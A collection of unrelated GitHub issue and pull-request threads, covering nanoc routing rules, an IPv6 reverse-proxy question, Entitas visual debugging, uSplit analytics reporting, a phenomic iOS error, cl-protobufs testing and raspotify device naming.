[ { message: 'Named character references must be known',
       position: { line: 1, column: 5 } },
     { message: 'Numeric character references cannot be empty',
       position: { line: 5, column: 4 } } ]

Great!

@eush77 Well, yesterday I had this fixed, but I lost my code so it’ll be delayed ± 2-3 more days :/

Well, that turned out to be months. Anyway, somewhere this week in 3.0.0.


Rule memory as path source

Summary: Use the rule memory to determine the (basic) path for an item rep, to prepare for adding a #write instruction to compilation rules.
Current approach
The item reps get their paths (per snapshot) in the ItemRepRouter. The item rep router finds the appropriate routing rule, and assigns the raw path (e.g. output/index.html), along with the path usable for linking (e.g. /).
The rule memory calculator compiles the item with a “recording executor”, which does nothing but record filter/layout/… invocations.
New approach
The rule memory calculator will determine the (basic) path for an item rep. It will do so by finding the appropriate routing rule for that item and creating an appropriate #snapshot rule action that includes the path of the item rep.
The item rep router is still responsible for converting this basic path (e.g. /foo/index.html into the path for writing to (output/foo/index.html) and the path for linking to (/foo/).
This makes it possible to add a :path argument to #snapshot in rules, so you can now write files from within the compilation rule. For example:
compile '/*.md' do
  filter :kramdown
  snapshot :whatever, path: item.identifier.without_ext + '/index.html'
end

… as opposed to this:
route '/*.md' do
  item.identifier.without_ext + '/index.html'
end

compile '/*.md' do
  filter :kramdown
end

Having to specify a snapshot is annoying, so there will be a convenience method #write:
compile '/*.md' do
  filter :kramdown
  write item.identifier.without_ext + '/index.html'
end

This approach also helps pushing the rules further away from the core of Nanoc, and the rule memory might become a “processing instruction list”, which could become what Nanoc uses to determine how to process an item rep. With that in place, Nanoc could gain alternatives to the Rules file as a processing instruction source.

There are some FIXMEs and TODOs left, but I’ll tackle those in a separate PR since I believe they relate to issues that currently already exist in master.


ipv6 proxy

Does it support proxy for public ipv6?
My server only has public IPv6, and I have tried Docker, host mode, and port mapping. However, during reverse proxy, I was unable to succeed.

I have ERRO BAD GATEWAY on proxy reverve with Public IPV6.


Source id hyperlink broken in specialty genes landing page for private genome

On the landing page for my private genome, I clicked on the ARDB which took me to specialty genes landing page:

When I click on the source id for the gene, it takes me to an error page

fixed and available on beta.


Dll based workflow - unity visual debugging integration

It's really difficult to use the feature class in a dll based workflow because I don't want to depend on visual debugging. It would be nice if I could hook into it another way than deriving from Feature. I'd like to be able to just give the visual debugging addin my root Systems class and have it look through the structure of systems and enable visual debugging on unity that way or another.
At the moment I have a ProjectName.Runtime.dll with my simulation logic and a ProjectName.Runtime.Unity.dll where I integrate my simulation into unity but the problem is I also want to use visual debugging addin. The current implementation means I have to write two system chains. one in my dll and one in the unity editor using Feature (or not define it in the dll at all but I don't want to do that)
Is the a better way of doing this with the current implementation or am I pretty much stuck?

Perhaps somekind of static event on Systems class so we can do:
Systems.OnCreated += (SystemsCollection, Name) => new DebugSystems(SystemsCollection, Name);

Is ProjectName.Runtime.dll  also compiled by Unity or only ProjectName.Runtime.Unity.dll?
The Feature call only depends on VisualDebugging when you run it in the Unity Editor. When releasing or using c# only, the VisualDebugging part is stripped out, you don't depend on Entitas.VisualDebugging.Unity

ProjectName.Runtime is pure c# no unity/client code but the simulation only where ProjectName.Runtime.Unity contains systems to integrate the simulation into unity3d though looking at this perhaps coding the unity integration side should be in the editor entirely

So using Feature in the c# project will be fine and won't have a dependency to Entitas.VisualDebugging.Unity, since UNITY_EDITOR is not declared

i think we should have a generator to create system chains. By appending an attribute to a system with a priority we can generate chains automatically. That would be less painful to develop a dll runtime and still use the feature class

You can definitely write one :) It's super easy now ;)


uSplit test results not being reported back to Google Analytics.

Hi,
We have a problem that uSplit is not reporting experiment results back to Google Analytics.
When clearing cookies and refreshing the tested site we see all the variations being shown properly, we see the activity on the said site in Real-Time -> Overview tab of Google Analytics.
We downloaded the repository and debugged it and we see that in function OnResultExecuted of class VariationReportingActionFilterAttribute, variationReported is being set as true but in the experiment view in Google Analytics -> Behavior -> Experiments we don't see any activity and my Experiment Session count is sitting at 0.
We dont see any errors in the logs as well.
Some additional info (No idea if that is relevant):

We debugged this on my local machine that is not accessible from outside.
Tried this on live site that is accessible from internet and still did not work. (Should be noted that the live site is deployed with Umbraco Flexible load balancing, and we went to each node and authorised them one by one using their internal node URL’s which are different than the external URL.)
At the bottom of Google experiment site cannot see the variations and get following error:
Experiment Code Validation
PAGEA: Sorry – there’s a problem on our end.
PAGEB - 7a11e899-xxxxxxx-xxxxx: Sorry – there’s a problem on our end.
Note :  "If you're sure the pages are properly set up, you can still start the experiment."

Our flow of creating an experiment:
Click "A/B Testing" -> "Create a new experiment" -> Go to experiments page -> "Clone original" to the same folder as original -> Change the variation -> Save and publish it -> Go to Google Analytics/Behavior/Experiments -> Click the experiment -> Set up the Metric -> Click "Save for later" -> Go back to Umbraco and Start the experiment

Hi @pauloya, sounds like the reporting to GA is not working as it should. Do you see experiments listed in the Tree in the bacoffice? Are they started? If so how is your "reporting of variations to google" setup?
This is usually a piece of JS that tells Google that an experiment was run. This is not reported on the server side but on the client side and this code needs to be compatible with how you have GA setup on your website. uSplit offers a number of methods to report the variation - which one are you using? Have you tried any of the other ones?

Hi I'm having the same issue. the google api is working and its creating the experiment however no data is being collected. also when i look into the source code for the page there is no tracking data being inserted in the page.
thanks

Also i have now fully tested the other variations @Html.AbTesting.AnalyticsJsScriptTag() & @Html.AbTesting.CxApiScriptTags() as well as making sure the analytics.js file is in the header. all of which does not help google analytics track the data.


Fixes Object keyword not being considered to be an escaped type name.

Fixes #41

Maybe add a test case as reproducer here?

Maybe add a test case as reproducer here?

It would be nice to have them here, but I think it is enough to add them to Fast-DDS-Gen


Uncaught TypeError: filters[Symbol.iterator] is not a function

Row 111 in enhance-collection/index.js:
for (var _iterator = filters[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) {
Gives me this error on iPhone:

Uncaught TypeError: filters[Symbol.iterator] is not a function

Any clue what that could be?

What version of node are you using please?

Can you give use more detail about the snippet causing this (your code, not phenomic code)

When logging I get this:
console.log("filters", filters, filters[Symbol.iterator])

Can you give me:

iphone/ios version
your snippet using enhanceCollection

Can you try to import "babel-polyfill" in top of you `scripts/phenomic.browser.js`` to see if this solve the issue?

The Symbol Iterator itself looks a bit odd to me?

This is the result of babel transpiled code, so don't try to debug this.
Please answer my previous questions.

iphone/ios version = 5+6
your snippet using enhanceCollection =
const latestProjects = enhanceCollection(context.collection, {
filter: { featured: "frontpage", layout: "Project" },
sort: "order",
reverse: false,
})
.slice(0, numberOfLatestProjects)
const pageData = enhanceCollection(context.collection, {
  filter: { layout: "Homepage" },
})[0]

ios6, okkkk. So please try adding babel-poyfill like I said, should fix your issue. Your browser is pretty old.

Hm, didn't work. Let me try to do some more debugging before taking your valuable time! Thanks!

Any update on this?

Nope, sorry, took a break from it. But I will try again (maybe with an updated version of Phenomic) as I need to try to get this site live soon :) Will post again here asap. Likely the weekend.


can comma-separated lists be empty?

Are comma-separted lists allowed to be empty? Eg. S0022:
https://github.com/rsmp-nordic/rsmp_sxl_traffic_lights/blob/master/sxl_traffic_controller.md#s0022
It's not specied in the SXL as far as I can tell. If it's empty, I assume an emptry string would be send.

Yes, from an RSMP point of view.
But it would mean that the TLC is not configured correctly. I don't think it is possible to run a TLC without a single configured time plan. At least not in any type of TLC which I'm aware of. I might be wrong.

Maybe a fully adaptive system. But anyways the question is whether we allow empty lists in the schema. I guess so?

Answered: yes


typo executables for ziti-router, ziti-controller

e.g., inform and guide users that type ziti-router to run ziti router

no longer shipping the hyphenated executables


Maybe don't suggest exactly copies of companies

Shouldn't this just mean Paypal?
I mean, is still a valid idea...

Also, PayPal was co-founded by Elon Musk. The same Elon Musk that has plenty of technical and, as you say, "programming" experience.

Nice little project, hope comments/issues like this, that don't add too much value and sounds like having a bit of a negative undertone, don't cost too much of your time that could go to improving the product or living your life

Yeah, agree. Maybe needs some reasoning to be a valid issue?
Good work, man.

"PayPal for banking" -- genius!


abcl tests are using the quicklisp version of  cl-protobufs in testing

Not sure why this is happening, but we can see running:
https://github.com/Slids/cl-protobufs/runs/1044380174?check_suite_focus=true
it's true.

@slids I fixed a regressin in ABCL that prevented Quicklisp from properly finding ASDF systems in the quicklisp/local-projects/ directory.
https://github.com/armedbear/abcl/commit/7789522b366b6a99eb19bc5652d61d8a0013c6a9
You should be able to close this issue now.  Please lemme know if that is still not the case.


Make scheduled-actions more flexible

Update options necessary to run scheduled actions, making them more
flexible so they can be used with more actions.
Change-type: patch
Signed-off-by: Josh Bowling<EMAIL_ADDRESS>

@balena-ci I self certify!


[3.1.x] Scala 2.13.0-RC2 Build

Cherry-picked a commit for Prettifier from 3.0.x, making scalactic to not depending on scala-xml.
Adjusted Accumulation for Scala 2.13.0-RC2.

Closing to be re-open for travis rebuild.

Re-opening for travis rebuild.


Update product hash to include isPut

Task: Feature Name:
High Level Description
Fix #146
Todos

[x] Unit test 100% coverage
[x] Does your code follow the naming and code documentation guidelines?
[x] Is your code up to date with the spec?
[x] Have you added your tests to the testing doc?

LGTM. Are there any other implications of this PR? why didn't we have this in the first place?

In the first iteration, we disallowed puts to have collateral != underlying, and disallowed calls to have collateral != strike. But since we need the yield farming implementation, that constraint was removed.
This will results in allowing users to create USDC-ETH calls with USDC collateral, with the collateral ratio of 1.


word press compatibilty

I understand that WordPress support plugins developed by various developers and therefore, compatibility is also based on the plugins as well. But I believe it will be a better idea to track and include browser compatibility of WordPress and the various plugins.

Sorry, this is out of scope for the kind of technologies caniuse tracks.


Portable numba-cudatoolkit installation

I am trying to install cudatoolkit on winpython (since it is the only way to run python portable), but I am running into this issue https://github.com/numba/conda-recipe-cudatoolkit/issues/17
Could it be possible to generate a specific numba cudatoolkit distribution, with all the necessary dependencies to be installed via pip, in order to run it from winpython?

Thanks for the request. I'm closing this ticket as it is a duplicate of https://github.com/numba/conda-recipe-cudatoolkit/issues/17 which is part of the distributable package set under the Numba organisation already. I'll post a reply there.


Favor SqlIdentifier.getReference() instead of getReference(IdentifierProcessing)

Change to deprecate redundant getReference(IdentifierProcessing) method.
I split out the commits to make this change easier to review.
The first commit after the branch preparation outlines the changes to actual implementation. Second commit is Unit Tests supporting change, and third commit is change/eliminate all usages of the deprecated API.
I fixed the implementation of the deprecated method to actually use the IdentifierProcessing parameter. If we want to leave the implementation unchanged, please let me know.
Will squash commits after making any other needed changes.

This is polished and merged.
Thanks.
I know I wrote in some textbox, that we shouldn't change the behaviour of getReference(IdentifierProcessing) but it's clearly not here 😕. I wonder where I put that comment 🤔.
Anyway, I undid that change and also added you in `@author tags.


detect car is charging

First of all: After a test over several weeks, the latest version 0.21 for the MG4 Luxury runs absolutely stable. No reboot needed.
However, if there is no openWB or the electric car is charged on the road: What are the possibilities to detect this and retrieve the values more regularly ? The charge status is queried by default only once a day.
In the Develop branch I have seen that in the future there should be an update when the doors are opened and closed. This could solve the problem if the charging process was started before closing, correct?

I would suggest to keep polling the car state with the active delay (30 seconds by default) for some time after the car goes to the "inactive" state. In most cases, charging will start soon after the car was stopped (at least in my case).

Just for reference, that is also the way the Java implementation does it. It keeps polling for 10 Minutes after engine stop. In the main branch we also made this configurable with the refresh/period/inActiveGrace/set topic (See  https://github.com/orgs/SAIC-iSmart-API/discussions/6#discussioncomment-5923522 for discussion)

That sounds amazing. I'd love if the inactive grace refresh period could be configured to be different from the active refresh interval as I've seen the battery voltage drop quite a bit during polling when the car Is off.


Minor Issue. Changing the device name in settings doesn't change name on spotify app.

Has anyone tried changing the name with success?

Certainly! Where did you change your device name? You choose a name via raspi-config (which is used for showing a device name in your network and via the config file (which is used to define the name you see in Spotify).
sudo nano /etc/default/raspotify
Don't forget to remove the #-sign
DEVICE_NAME="raspotify"
If you've done that... It is possible that you only need to restart the raspotify service by using:
sudo systemctl restart raspotify